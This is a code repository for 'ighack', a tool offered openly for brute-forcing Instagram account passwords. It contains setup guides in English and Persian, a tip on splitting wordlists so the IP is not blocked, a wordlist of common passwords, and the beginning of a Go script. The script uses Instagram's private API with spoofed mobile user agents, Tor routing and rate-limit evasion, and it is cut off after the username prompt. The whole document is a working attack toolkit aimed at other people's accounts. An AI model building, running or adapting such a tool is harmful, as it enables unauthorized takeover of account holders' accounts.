├── images ├── flag-en.png ├── Flag-iran.png └── snake.svg ├── N.md ├── Custom Pass ├── FA.md └── EN.md ├── README-FA.md ├── README.md ├── password.txt └── hack.go /images/flag-en.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/monsmain/ighack/HEAD/images/flag-en.png -------------------------------------------------------------------------------- /images/Flag-iran.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/monsmain/ighack/HEAD/images/Flag-iran.png -------------------------------------------------------------------------------- /N.md: -------------------------------------------------------------------------------- 1 | file pass ro be tedade kochik tar taghsim konam masalan dar har file 5 ya 10 ta pass dashte bashe ta ip belak nashe. 2 | -------------------------------------------------------------------------------- /Custom Pass/FA.md: -------------------------------------------------------------------------------- 1 |
2 |

آموزش وارد کردن فایل پسورد شخصی در ترموکس برای ابزارها

3 |
4 | 5 | ## اهدا❤️ 6 | ### اگر این کد را برای خود مفید می‌دانید، می‌توانید با اهدای هر مبلغی از من حمایت کنید. 7 | 8 | 9 | ## 1. فعال‌سازی دسترسی ترموکس به حافظه گوشی 10 | ### برای اجازه دسترسی این دستور را بزن : 11 | ``` 12 | termux-setup-storage 13 | ``` 14 | ## سپس اجازه دسترسی را در پنجره‌ای که باز می‌شود بده. 15 | 16 | ## 2. ساخت فایل پسورد: 17 | ### یک فایل متنی بساز (مثلاً با اسم pass.txt) و پسوردها رو توش بنویس، هر پسورد در یک خط. 18 | ### حداقل 6 کارکتر و حداکثر 64 کارکتر 19 | ### فایل رو به حافظه داخلی مثلاً( پوشه Download یا هر پوشه ای) ذخیره کن. 20 | 21 | ## 3. انتقال فایل به home ترموکس: 22 | ### این دستور رو بزن تا فایل به home منتقل بشه: 23 | ``` 24 | cp /storage/emulated/0/folderx/pass.txt ~/ 25 | ``` 26 | ### برای مثال اینجا ما اسم پوشه رو folderx گذاشتیم. 27 | ### اگر فایل جای دیگه‌ای هست مسیرش رو درست وارد کن. 28 | 29 | ## 4. بررسی اینکه فایل منتقل شده: 30 | 31 | ### این دستور رو بزن و مطمئن شو pass.txt رو می‌بینی: 32 | ``` 33 | ls ~ 34 | ``` 35 | ## 5. سپس کد را اجرا بکنید و گزینه MANUAL ATTACK را انتخاب کنید و اسم فایل رو بفرست. 36 | ``` 37 | ../pass.txt 38 | ``` 39 | ### یا 40 | ``` 41 | pass.txt 42 | ``` 43 | ### پس از اجرای دستورات در قسمت 'وارد کردن نام کاربری اینستاگرام'، نام کاربری را نوشته و کلید enter را بزنید. 44 | ### و در نهایت، کد اجرا می‌شود و رمز حساب کاربری را پیدا می‌کند. 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /Custom Pass/EN.md: -------------------------------------------------------------------------------- 1 |
2 |

Instructions for importing a personal password file into Termux for tools

3 |
4 | 5 | ## Donate❤️ 6 | ### If you find this code useful, you can support me by donating any amount. 7 | 8 | 9 | ## 1. Enable Termux access to the phone's storage 10 | ### To allow access, type this command: 11 | ``` 12 | termux-setup-storage 13 | ``` 14 | ## Then allow access in the window that opens. 15 | 16 | ## 2. Create a password file: 17 | ### Create a text file (for example, named pass.txt) and write the passwords in it, each password on a single line. 18 | ### Minimum 6 characters and maximum 64 characters 19 | ### Save the file to internal storage, for example (Download folder or any folder). 20 | 21 | ## 3. Transfer the file to Termux home: 22 | ### Run this command to move the file to home: 23 | ``` 24 | cp /storage/emulated/0/folderx/pass.txt ~/ 25 | ``` 26 | ### For example, here we named the folder folderx. 27 | ### If the file is somewhere else, enter its path correctly. 28 | 29 | ## 4. Check that the file has been transferred: 30 | 31 | ### Run this command and make sure you see pass.txt: 32 | ``` 33 | ls ~ 34 | ``` 35 | ## 5. Then run the code and select the MANUAL ATTACK option and send the file name. 36 | ``` 37 | ../pass.txt 38 | ``` 39 | ### Or 40 | ``` 41 | pass.txt 42 | ``` 43 | ### After running the commands in the 'Enter Instagram Username' section, write the username and press the enter key. 44 | ### And finally, the code runs and finds the user account password. 45 | -------------------------------------------------------------------------------- /README-FA.md: -------------------------------------------------------------------------------- 1 |
2 |

هک bruteforce اینستاگرام

3 |
4 | 5 | ### توضیحات: 6 | در یک حمله بروت فورس، یک نرم‌افزار به طور خودکار تعداد زیادی رمز عبور مختلف را امتحان می‌کند تا در نهایت ترکیب صحیح را پیدا کند و به حساب کاربری دسترسی پیدا کند. 7 |
8 |

9 | 10 | English English | فارسی فارسی 11 |


12 |
13 | 14 | ### آپدیت‌ها در آینده: 15 | | قابلیت‌های جدید | وضعیت | 16 | |:---|:---:| 17 | | اضافه شدن اسکریپت شل | ⏳ در حال بررسی | 18 | ## 📥دانلود ترموکس اندروید: 19 | 20 | | منبع | لینک‌های دانلود | 21 | |:--------:| -------------:| 22 | | GitHub 🐈‍⬛|[Get it Now](https://github.com/termux/termux-app/releases)| 23 | | Google Play|[Get it Now](https://play.google.com/store/apps/details?id=com.termux)| 24 | > پیشنهاد میکنم حتما از گیت‌هاب نصب کنید. 25 | ## پشتیبانی از : (تست شده) 26 | - `Linux` ✅ 27 | - `Termux` ✅ 28 | ## بیایید امتحان کنیم :trollface: 29 | ### قدم اول: نصب بروزرسانی ها 30 | ``` 31 | apt update -y && apt upgrade -y 32 | ``` 33 | ### قدم دوم: پیش نیاز ها 34 | ``` 35 | pkg install golang -y && pkg install git -y && pkg install pari 36 | ``` 37 | ### قدم سوم: نصب tor 38 | ``` 39 | pkg install tor -y && pkg install libexecinfo -y 40 | ``` 41 | ### قدم چهارم: ساخت ماژول 42 | ``` 43 | go mod init monsmain/ighack 44 | ``` 45 | ### قدم پنجم: نصب proxy 46 | ``` 47 | go get golang.org/x/net/proxy 48 | ``` 49 | ### قدم شش:کپی کردن فایل در دستگاه 50 | ``` 51 | git clone https://github.com/monsmain/ighack 52 | ``` 53 | ### قدم هفت: فراخوانی 54 | ``` 55 | cd ighack 56 | ``` 57 | ### قدم هشت:در صورت استفاده از tor باید یک new session جدید باز کنید و " tor " را بنویسید و صبر کنید تا 100% (done) دیده شود ،سپس به صفحه قبل برگردید. 58 | ### ⚠️ در صورت اتصال مستقیم یا استفاده از vpn این گزینه رو انجام ندید.⚠️ 59 | 60 | ### قدم آخر: اجرای آن 61 | ``` 62 | go run hack.go 63 | ``` 64 | ### گزینه‌های استفاده : 65 | - گزینه AUTO ATTACK : از این گزینه می‌توانید حمله به لیست مجوزهای پیش‌فرض ابزار را شروع کنید. 66 | - گزینه MANUAL ATTACK : از این گزینه می‌توانید لیست عبور دستی را انتخاب کرده و حمله را امتحان کنید. 67 | 68 | > **راهنما** 69 | 70 | >1: از بین 2 گزینه MANUAL ATTACK و AUTO ATTACK یکی رو انتخاب کنید. 71 | 72 | >1-1: در صورتی که گزینه 2 رو انتخاب کردید روی [لینک](https://github.com/monsmain/ighack/blob/main/Custom%20Pass/FA.md) 73 | بزنید تا اموزش این قسمت رو ببینید. 74 | 75 | >2: در گزینه 1 بعد از اجرای دستورات در قسمت 'enter Instagram username`یوزرنیم رو بنویسید و اینتر بزنید. 76 | 77 | >3:و در نهایت کد اجرا میشود و پسورد اکانت رو پیدا میکند. 78 | ### اگر قبلا پروژه رو کلون کردید از این دستور برای آپدیت کردن کد استفاده بکنید تا از آخرین آپدیت های پروژه استفاده کنید. 79 | ``` 80 | git pull 81 | ``` 82 | ## اهدا❤️ 83 | اگر این کد را برای خود مفید می‌دانید، می‌توانید با اهدای هر مبلغی از من حمایت کنید. 84 | 85 | 86 | 87 | ## مشارکت 88 | ما همیشه به دنبال بهبود ابزار هستیم! اگر ایده‌ای دارید یا باگ پیدا کردید، لطفاً یک [Issue](https://github.com/monsmain/ighack/issues) جدید ایجاد کنید یا یک [Pull Request](https://github.com/monsmain/ighack/pulls) ارسال کنید. 89 | 90 | ## سلب مسئولیت 91 | * توسعه‌دهنده این برنامه **هیچ‌گونه مسئولیتی** در قبال نحوه استفاده کاربران از آن بر عهده ندارد. اینکه کاربر چگونه از این ابزار استفاده می‌کند و آیا این استفاده قانونی یا اخلاقی است، **تماماً بر عهده خود کاربر است.** 92 | * با دانلود، یا استفاده از این کد ، شما صراحتاً با تمامی موارد ذکر شده در این سلب مسئولیت موافقت می‌نمایید. 93 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |
3 |

Hack Bruteforce Instagram

4 |
5 | 6 | ### Description: 7 | In a bruteforce attack, a software automatically tries a large number of different passwords to finally find the correct combination and gain access to the user account. 8 | 9 |
10 |

11 | 12 | فارسی 13 | persian 14 | 15 | | English 16 | English

17 |
18 |
19 | 20 | ### Future Updates: 21 | | New Features | Status | 22 | |:---|:---:| 23 | | Adding a shell script | ⏳ In Progress | 24 | 25 | ## 📥Download Termux for Android: 26 | | Source | Download Links 27 | |:--------:| -------------:| 28 | | GitHub 🐈‍⬛|[Get it Now](https://github.com/termux/termux-app/releases)| 29 | | Google Play|[Get it Now](https://play.google.com/store/apps/details?id=com.termux)| 30 | > It is recommended to install from GitHub. 31 | 32 | ## Supported on: (Tested) 33 | - `Linux` ✅ 34 | - `Termux` ✅ 35 | ## Let’s give it a try :trollface: 36 | ### Step 1: Install Updates 37 | ``` 38 | apt update -y && apt upgrade -y 39 | ``` 40 | ### Step 2: Install Prerequisites 41 | ``` 42 | pkg install golang -y && pkg install git -y && pkg install pari 43 | ``` 44 | ### Step 3: Install tor 45 | ``` 46 | pkg install tor -y && pkg install libexecinfo -y 47 | ``` 48 | ### Step 4: Create a Module 49 | ``` 50 | go mod init monsmain/ighack 51 | ``` 52 | ### step 5: Install proxy 53 | ``` 54 | go get golang.org/x/net/proxy 55 | ``` 56 | ### Step 6: Clone the File to Your Device 57 | ``` 58 | git clone https://github.com/monsmain/ighack 59 | ``` 60 | ### Step 7: Call It 61 | ``` 62 | cd ighack 63 | ``` 64 | ### Step 8: If you are using Tor, you need to open a new session, type "tor" and wait until it shows 100% (done), then return to the previous page. 65 | ### ⚠️ Skip this step if you are using a direct connection or a VPN. ⚠️ 66 | ### Final Step: Run It 67 | ``` 68 | go run hack.go 69 | ``` 70 | ### Usage Options: 71 | - AUTO ATTACK Option: From this option you can start attacking the default permissions list of the tool. 72 | - MANUAL ATTACK Option: From this option you can select the manual pass list and try the attack. 73 | 74 | > **Guide** 75 | 76 | >1: Choose one of the 2 options AUTO ATTACK or MANUAL ATTACK. 77 | 78 | >1-1: If you choose option 2, click on [link](https://github.com/monsmain/ighack/blob/main/Custom%20Pass/EN.md) 79 | to see the tutorial for this section. 80 | 81 | >2: In option 1, after executing the commands in the 'enter Instagram username` field, write the username and press enter. 82 | 83 | >3: And finally, the code is executed and finds the account pa 84 | ### If you have previously cloned the project, use this command to update the code to use the latest project updates. 85 | ``` 86 | git pull 87 | ``` 88 | ## Donate❤️ 89 | If you find this code useful, you can support me by donating any amount 90 | 91 | ## Contribute 92 | We are always looking to improve the tool! If you have an idea or find a bug, please create a new [Issue](https://github.com/monsmain/ighack/issues) or submit a [Pull Request](https://github.com/monsmain/ighack/pulls). 93 | ## Disclaimer 94 | * The developer of this program **bears no responsibility** for how users choose to use it. How the user utilizes this tool and whether that use is legal or ethical—is **entirely the user's own responsibility.** 95 | * By downloading or using this code, you explicitly agree to all the terms stated in this disclaimer. 96 | 97 | -------------------------------------------------------------------------------- /password.txt: -------------------------------------------------------------------------------- 1 | Wr5MgKutfV7SYgQ 2 | 6'66Gx3&:Anx 3 | password 4 | 123456 5 | 1234567 6 | 12345678 7 | 123456789 8 | qwerty 9 | abc123 10 | letmein 11 | monkey 12 | dragon 13 | baseball 14 | football 15 | princess 16 | sunshine 17 | welcome 18 | shadow 19 | master 20 | love123 21 | iloveyou 22 | 123123 23 | qazwsx 24 | admin123 25 | user123 26 | pass123 27 | secret 28 | 111111 29 | 222222 30 | 333333 31 | 444444 32 | 555555 33 | 666666 34 | 777777 35 | 888888 36 | 999999 37 | 000000 38 | test123 39 | hello123 40 | myname 41 | summer 42 | winter 43 | spring 44 | autumn 45 | flower 46 | rose123 47 | star123 48 | moon123 49 | sky123 50 | cloud123 51 | rainbow 52 | happy123 53 | smile123 54 | friend 55 | friends 56 | family 57 | baby123 58 | angel123 59 | king123 60 | queen123 61 | prince 62 | lovely 63 | cutie123 64 | sweetie 65 | honey123 66 | beauty 67 | forever 68 | always 69 | dream123 70 | hope123 71 | faith123 72 | life123 73 | peace123 74 | joy123 75 | lucky123 76 | starwars 77 | batman 78 | superman 79 | spider 80 | marvel 81 | disney 82 | mickey 83 | minnie 84 | donald 85 | goofy123 86 | pluto123 87 | simba123 88 | lionking 89 | harry123 90 | potter123 91 | wizard 92 | magic123 93 | soccer 94 | tennis 95 | hockey 96 | golf123 97 | sport123 98 | game123 99 | player 100 | winner 101 | champion 102 | team123 103 | cool123 104 | awesome 105 | great123 106 | super123 107 | best123 108 | nice123 109 | good123 110 | sweet123 111 | lovely123 112 | pretty 113 | beauty123 114 | cutiepie 115 | darling 116 | dear123 117 | heart123 118 | love1234 119 | ilove123 120 | kiss123 121 | hug123 122 | smiley 123 | happyday 124 | sunshine1 125 | rainbow1 126 | flower123 127 | rose1234 128 | lily123 129 | daisy123 130 | tulip123 131 | violet123 132 | jasmine 133 | skyblue 134 | ocean123 135 | river123 136 | lake123 137 | forest 138 | tree123 139 | green123 140 | blue123 141 | red123 142 | yellow123 143 | purple123 144 | pink123 145 | black123 146 | white123 147 | silver 148 | gold123 149 | diamond 150 | ruby123 151 | emerald 152 | sapphire 153 | crystal 154 | pearl123 155 | starlight 156 | moonlight 157 | sunrise 158 | sunset123 159 | twilight 160 | night123 161 | day123 162 | morning 163 | evening 164 | noon123 165 | midnight 166 | sky1234 167 | cloud1234 168 | rain123 169 | storm123 170 | thunder 171 | lightning 172 | fire123 173 | ice123 174 | snow123 175 | frost123 176 | wind123 177 | breeze 178 | wave123 179 | tide123 180 | sea123 181 | beach123 182 | sand123 183 | shore123 184 | island 185 | paradise 186 | heaven 187 | hell123 188 | angel1234 189 | devil123 190 | ghost123 191 | spirit 192 | soul123 193 | life1234 194 | death123 195 | dream1234 196 | hope1234 197 | faith1234 198 | love12345 199 | peace1234 200 | joy1234 201 | happy1234 202 | smile1234 203 | friend123 204 | family123 205 | baby1234 206 | kid123 207 | child123 208 | mom123 209 | dad123 210 | sister123 211 | brother123 212 | home123 213 | house123 214 | room123 215 | door123 216 | window123 217 | car123 218 | bike123 219 | road123 220 | street123 221 | city123 222 | town123 223 | village 224 | country 225 | world123 226 | earth123 227 | planet 228 | star1234 229 | moon1234 230 | sun123 231 | sky12345 232 | cloud12345 233 | rain1234 234 | snow1234 235 | wind1234 236 | fire1234 237 | ice1234 238 | rock123 239 | stone123 240 | sand1234 241 | water123 242 | air123 243 | light123 244 | dark123 245 | shadow123 246 | ghost1234 247 | spirit123 248 | soul1234 249 | heart1234 250 | mind123 251 | brain123 252 | think123 253 | idea123 254 | dream12345 255 | hope12345 256 | wish123 257 | star12345 258 | moon12345 259 | sun1234 260 | sky123456 261 | cloud123456 262 | rain12345 263 | snow12345 264 | wind12345 265 | fire12345 266 | ice12345 267 | rock1234 268 | stone1234 269 | sand12345 270 | water1234 271 | air1234 272 | light1234 273 | dark1234 274 | shadow1234 275 | ghost12345 276 | spirit1234 277 | soul12345 278 | heart12345 279 | mind1234 280 | brain1234 281 | think1234 282 | idea1234 283 | wish1234 284 | love123456 285 | peace12345 286 | joy12345 287 | happy12345 288 | smile12345 289 | friend1234 290 | family1234 291 | baby12345 292 | kid1234 293 | child1234 294 | mom1234 295 | dad1234 296 | sister1234 297 | brother1234 298 | home1234 299 | house1234 300 | room1234 301 | door1234 302 | window1234 303 | 300000000000000000000000000000000000 304 | summer123 305 | winter123 306 | spring123 307 | autumn123 308 | flower1234 309 | garden123 310 | nature123 311 | forest123 312 | jungle123 313 | mountain 314 | valley123 315 | hill123 316 | peak123 317 | ridge123 318 | cliff123 319 | ocean1234 320 | sea1234 321 | lake1234 322 | river1234 323 | stream123 324 | brook123 325 | wave1234 326 | tide1234 327 | shore1234 328 | beach1234 329 | sand1234 330 | dune123 331 | island123 332 | coral123 333 | reef123 334 | sunset1234 335 | sunrise123 336 | dawn123 337 | dusk123 338 | twilight123 339 | night1234 340 | star123456 341 | moon123456 342 | sun12345 343 | sky1234567 344 | cloud1234567 345 | rain123456 346 | snow123456 347 | storm1234 348 | thunder123 349 | lightning123 350 | wind123456 351 | breeze123 352 | gale123 353 | tornado 354 | hurricane 355 | fire123456 356 | flame123 357 | spark123 358 | blaze123 359 | ice123456 360 | frost1234 361 | snowflake 362 | glacier 363 | chill123 364 | cold123 365 | heat123 366 | warm123 367 | hot123 368 | sunny123 369 | cloudy123 370 | rainy123 371 | snowy123 372 | windy123 373 | fog123 374 | mist123 375 | dew123 376 | rainbow1234 377 | aurora123 378 | comet123 379 | meteor123 380 | galaxy123 381 | nebula123 382 | planet123 383 | earth1234 384 | mars123 385 | venus123 386 | jupiter 387 | saturn123 388 | mercury123 389 | neptune123 390 | uranus123 391 | pluto1234 392 | orbit123 393 | space123 394 | rocket123 395 | shuttle123 396 | starship 397 | alien123 398 | ufo123 399 | cosmic123 400 | astro123 401 | lunar123 402 | solar123 403 | eclipse123 404 | dawn1234 405 | dusk1234 406 | midday123 407 | noon1234 408 | evening123 409 | morning123 410 | day1234 411 | night12345 412 | shadow1234 413 | light12345 414 | dark1234 415 | glow123 416 | shine123 417 | bright123 418 | dim123 419 | dusk12345 420 | dawn12345 421 | twilight1234 422 | starlight123 423 | moonlight123 424 | sunlight123 425 | firelight 426 | candle123 427 | lamp123 428 | lantern123 429 | torch123 430 | beam123 431 | ray123 432 | spark1234 433 | flame1234 434 | blaze1234 435 | inferno123 436 | ember123 437 | ash123 438 | smoke123 439 | mist1234 440 | fog1234 441 | haze123 442 | cloud12345678 443 | sky12345678 444 | heaven123 445 | paradise123 446 | eden123 447 | utopia123 448 | dreamland 449 | fantasy123 450 | magic1234 451 | wizard123 452 | witch123 453 | spell123 454 | charm123 455 | potion123 456 | fairy123 457 | elf123 458 | gnome123 459 | dwarf123 460 | troll123 461 | dragon123 462 | phoenix123 463 | unicorn123 464 | mermaid123 465 | siren123 466 | angel12345 467 | devil1234 468 | demon123 469 | ghost12345 470 | spirit1234 471 | soul123456 472 | heart123456 473 | love1234567 474 | kiss1234 475 | hug1234 476 | smile123456 477 | laugh123 478 | joy123456 479 | peace123456 480 | hope123456 481 | faith123456 482 | dream123456 483 | wish12345 484 | desire123 485 | passion123 486 | romance123 487 | lover123 488 | darling123 489 | sweetie123 490 | honey1234 491 | baby123456 492 | kid12345 493 | child12345 494 | boy123 495 | girl123 496 | mom12345 497 | dad12345 498 | sister12345 499 | brother12345 500 | family12345 501 | friend12345 502 | pal123 503 | buddy123 504 | mate123 505 | team1234 506 | squad123 507 | gang123 508 | crew123 509 | club123 510 | group123 511 | party123 512 | fun123 513 | happy123456 514 | smile1234567 515 | laugh1234 516 | giggle123 517 | chuckle123 518 | joy123456789 519 | bliss123 520 | cheer123 521 | merry123 522 | glad123 523 | delight123 524 | thrill123 525 | excite123 526 | adventure 527 | journey123 528 | trip123 529 | travel123 530 | voyage123 531 | quest123 532 | explore123 533 | discover123 534 | find123 535 | search123 536 | seek123 537 | hunt123 538 | chase123 539 | run123 540 | walk123 541 | hike123 542 | climb123 543 | swim123 544 | dive123 545 | surf123 546 | sail123 547 | boat123 548 | ship123 549 | plane123 550 | car1234 551 | bike1234 552 | train123 553 | bus123 554 | road1234 555 | street1234 556 | avenue123 557 | lane123 558 | path123 559 | trail123 560 | bridge123 561 | river12345 562 | lake12345 563 | sea123456 564 | ocean123456 565 | bay1234 566 | gulf1234 567 | island12345 568 | shore123456 569 | beach123456 570 | sand123456 571 | dune12345 572 | reef12345 573 | coral12345 574 | wave123456 575 | tide123456 576 | current1234 577 | stream12345 578 | brook12345 579 | pond1234 580 | pool1234 581 | water123456 582 | rain12345678 583 | snow12345678 584 | ice123456789 585 | frost123456 586 | wind12345678 587 | storm1234567 588 | thunder123456 589 | lightning123456 590 | cloud12345678901 591 | sky123456789012 592 | star12345678 593 | moon12345678 594 | sun12345678 595 | eclipse123456 596 | comet123456 597 | meteor123456 598 | galaxy123456 599 | nebula123456 600 | planet1234567 601 | orbit1234567 602 | space123456 603 | rocket123456 604 | shuttle123456 605 | starship1234 606 | alien123456 607 | ufo123456 608 | cosmic123456 609 | astro123456 610 | lunar123456 611 | solar123456 612 | nova1234 613 | supernova123 614 | blackhole123 615 | gravity1234 616 | orbit12345678 617 | planet12345678 618 | star123456789 619 | moon123456789 620 | sun123456789 621 | sky1234567890123 622 | cloud1234567890123 623 | rain123456789 624 | snow123456789 625 | wind123456789 626 | storm12345678 627 | thunder1234567 628 | lightning1234567 629 | fire123456789 630 | ice1234567890 631 | frost1234567 632 | snowflake1234 633 | glacier1234 634 | chill12345 635 | cold12345 636 | heat12345 637 | warm12345 638 | hot12345 639 | sunny12345 640 | cloudy12345 641 | rainy12345 642 | snowy12345 643 | windy12345 644 | fog12345 645 | mist123456 646 | dew12345 647 | rainbow123456 648 | aurora12345 649 | comet1234567 650 | meteor1234567 651 | galaxy1234567 652 | nebula1234567 653 | planet12345678 654 | earth1234567 655 | mars12345 656 | venus12345 657 | jupiter1234 658 | saturn12345 659 | mercury12345 660 | neptune12345 661 | uranus12345 662 | pluto123456 663 | orbit12345678 664 | space1234567 665 | rocket1234567 666 | shuttle1234567 667 | starship12345 668 | alien1234567 669 | ufo1234567 670 | cosmic1234567 671 | astro1234567 672 | lunar1234567 673 | solar1234567 674 | eclipse1234567 675 | dawn1234567 676 | dusk1234567 677 | midday12345 678 | noon123456 679 | evening12345 680 | morning12345 681 | day123456 682 | night1234567 683 | shadow123456 684 | light1234567 685 | dark123456 686 | glow12345 687 | shine12345 688 | bright12345 689 | dim12345 690 | dusk1234567 691 | dawn12345678 692 | twilight123456 693 | starlight12345 694 | moonlight12345 695 | sunlight12345 696 | firelight1234 697 | candle12345 698 | lamp12345 699 | lantern12345 700 | torch12345 701 | beam12345 702 | ray12345 703 | spark123456 704 | flame123456 705 | blaze123456 706 | inferno12345 707 | ember12345 708 | ash12345 709 | smoke12345 710 | mist1234567 711 | fog123456 712 | haze12345 713 | cloud123456789012 714 | sky12345678901234 715 | heaven12345 716 | paradise12345 717 | eden12345 718 | utopia12345 719 | dreamland1234 720 | fantasy12345 721 | magic123456 722 | wizard12345 723 | witch12345 724 | spell12345 725 | charm12345 726 | potion12345 727 | fairy12345 728 | elf12345 729 | gnome12345 730 | dwarf12345 731 | troll12345 732 | dragon12345 733 | -------------------------------------------------------------------------------- /hack.go: -------------------------------------------------------------------------------- 1 | /* coded by @monsmain 2 | ⚠️NOTE EN: 3 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 4 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 5 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 6 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 7 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 8 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 9 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 10 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 11 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 12 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law. 13 | */ 14 | package main 15 | 16 | import ( 17 | "bufio" 18 | "compress/gzip" 19 | "encoding/json" 20 | "fmt" 21 | "io" 22 | "log" 23 | "math/rand" 24 | "net/http" 25 | "net/url" 26 | "os" 27 | "os/exec" 28 | "runtime" 29 | "strings" 30 | "sync" 31 | "time" 32 | "golang.org/x/net/proxy" 33 | ) 34 | 35 | const ( 36 | API_URL = "https://i.instagram.com/api/v1/" 37 | TIMEOUT = 20 * time.Second 38 | CURRENT_USER = "monsmain" 39 | IG_APP_ID = "567067343352427" 40 | IG_BLOKS_VERSIONID = "2fb68e1b10e8ec4ce874193c87cdbeb39b6be34200cdc15664782eed8dbd366f" 41 | WORKER_COUNT = 2 42 | RATE_LIMIT_MIN = 5 43 | RATE_LIMIT_MAX = 12 44 | ) 45 | 46 | var userAgents = []string{ 47 | //Android 48 | "Instagram 371.0.0.36.89 Android (33/14; 420dpi; 1080x2340; samsung; SM-A546E; a54; qcom; en_US; 706838827)", 49 | "Instagram 370.0.0.26.109 Android (32/12; 440dpi; 1080x2400; Xiaomi; M2101K6G; sweet; qcom; en_US; 703402950)", 50 | "Instagram 360.0.0.52.192 Android (28/9; 239dpi; 720x1280; google; G011A; G011A; intel; in_ID; 672535977)", 51 | "Instagram 365.0.0.40.94 Android (34/14; 420dpi; 1080x2115; samsung; SM-G990W; r9q; qcom; en_CA; 690234877)", 52 | "Instagram 318.0.7.22.109 Android (29/10; 320dpi; 720x1384; samsung; SM-G960W; starqltecs; qcom; en_CA; 690234910)", 53 | "Instagram 365.0.0.40.94 Android (34/14; 450dpi; 1080x2301; samsung; SM-A146U; a14xm; mt6833; en_US; 690234900; IABMV/1)", 54 | "Instagram 365.0.0.40.94 Android (34/14; 420dpi; 1080x2115; samsung; SM-G990W; r9q; qcom; en_CA; 690234877)", 55 | "Instagram 76.0.0.15.395 Android (24/7.0; 640dpi; 1440x2560; samsung; SM-G930F; herolte; samsungexynos8890; en_US; 138226743", 56 | "Instagram 141.0.0.17.118 Android (29/10; 450dpi; 1080x2192; samsung; SM-G986U; y2q; qcom; en_US; 213368022)", 57 | "Instagram 329.0.0.29.120 Android (31/12; 420dpi; 1080x2400; samsung; SM-A515F; a51; exynos9611; en_US; 329000029)", 58 | "Instagram 328.0.0.13.119 Android (31/12; 480dpi; 1080x2400; samsung; SM-A715F; a71; qcom; en_US; 328000013)", 59 | "Instagram 330.0.0.23.108 Android (31/12; 480dpi; 1080x2400; samsung; SM-A525F; a52; qcom; en_US; 330002310)", 60 | "Instagram 330.0.0.23.108 Android (30/11; 420dpi; 1080x2340; Xiaomi; M2007J20CG; gauguin; qcom; en_US; 330002310)", 61 | "Instagram 327.0.0.20.123 Android (30/11; 420dpi; 1080x2400; realme; RMX3371; RMX3371; qcom; en_US; 327000020)", 62 | "Instagram 372.0.0.48.60 Android (34/14; 450dpi; 1080x2222; samsung; SM-S928N; e3q; qcom; vi_VN; 709818009)", 63 | "Instagram 352.1.0.41.100 Android (31/12; 420dpi; 1080x2047; samsung; SM-G975F; beyond2; exynos9820; in_ID; 650753877)", 64 | "Instagram 350.1.0.46.93 Android (31/12; 480dpi; 1080x2051; samsung; SM-N976N; d2x; exynos9825; ko_KR; 645441462)", 65 | "Instagram 357.1.0.52.100 Android (34/14; 450dpi; 1080x2127; samsung; SM-S926N; e2s; s5e9945; ko_KR; 662944209)", 66 | "Instagram 349.3.0.42.104 Android (34/14; 420dpi; 1080x2133; samsung; SM-S911N; dm1q; qcom; ko_KR; 643237792)", 67 | //iOS 68 | "Instagram 235.1.0.24.107 (iPhone12,1; iOS 18_1_1; en_US; en-US; scale=2.21; 828x1792; 370368062) NW/3", 69 | "Instagram 279.0.0.17.112 (iPhone12,5; iOS 18_1_1; en_US; en-US; scale=3.00; 1242x2688; 465757305)", 70 | "Instagram 313.0.2.9.339 (iPad7,6; iOS 14_7_1; en_US; en; scale=2.00; 750x1334; 553462334)", 71 | "Instagram 337.0.2.24.92 (iPhone14,6; iOS 17_4_1; en_US; en; scale=2.00; 750x1334; 614064327)", 72 | "Instagram 365.0.0.33.88 (iPad7,5; iPadOS 17_6; en_US; en; scale=2.00; 750x1334; 690008027; IABMV/1) NW/3", 73 | "Instagram 315.1.2.21.112 (iPhone13,2; iOS 18_1_1; ru_US; ru; scale=3.00; 1170x2532; 559614958) NW/1", 74 | } 75 | 76 | func clearTerminal() { 77 | if strings.Contains(strings.ToLower(runtime.GOOS), "windows") { 78 | cmd := exec.Command("cmd", "/c", "cls") 79 | cmd.Stdout = os.Stdout 80 | cmd.Run() 81 | } else { 82 | cmd := exec.Command("clear") 83 | cmd.Stdout = os.Stdout 84 | cmd.Run() 85 | } 86 | } 87 | 88 | func main() { 89 | rand.Seed(time.Now().UnixNano()) 90 | clearTerminal() 91 | setupLogger() 92 | fmt.Println(" ***Instagram Login Tool (v2.0)*** ") 93 | fmt.Printf("coded by: %s\n\n", CURRENT_USER) 94 | fmt.Println("\nChecking Public IPs...\n") 95 | 96 | ipDirect, errDirect := getPublicIP(&http.Client{Timeout: 10 * time.Second}) 97 | ipTor, torOK := getTorIP() 98 | 99 | if errDirect != nil { 100 | fmt.Println("Error getting direct IP:", errDirect) 101 | } else { 102 | fmt.Println("[Direct] Public IP:", ipDirect) 103 | } 104 | 105 | if torOK { 106 | fmt.Println("[TOR] Public IP:", ipTor) 107 | if errDirect == nil && ipDirect != ipTor { 108 | fmt.Println("TOR is working (IP changed)\n") 109 | } else { 110 | fmt.Println("TOR is NOT working (IP did not change)\n") 111 | } 112 | } else { 113 | fmt.Println("[TOR] Unable to connect through TOR. (TOR is NOT working)\n") 114 | } 115 | 116 | useTor := torOK 117 | 118 | if useTor { 119 | fmt.Println("tor is active...\n") 120 | } else { 121 | fmt.Println("TOR is not active , direct connection is active\n") 122 | } 123 | 124 | mode := selectMode() 125 | var passwords []string 126 | 127 | if mode == 1 { 128 | passwords = loadPasswordsAuto() 129 | } else { 130 | passwords = loadPasswordsManual() 131 | } 132 | 133 | if len(passwords) == 0 { 134 | fmt.Println("No passwords found!") 135 | return 136 | } 137 | 138 | fmt.Printf("\nLoaded %d passwords\n", len(passwords)) 139 | 140 | username := getUsername() 141 | if username == "" { 142 | fmt.Println("Username is empty!") 143 | return 144 | } 145 | 146 | 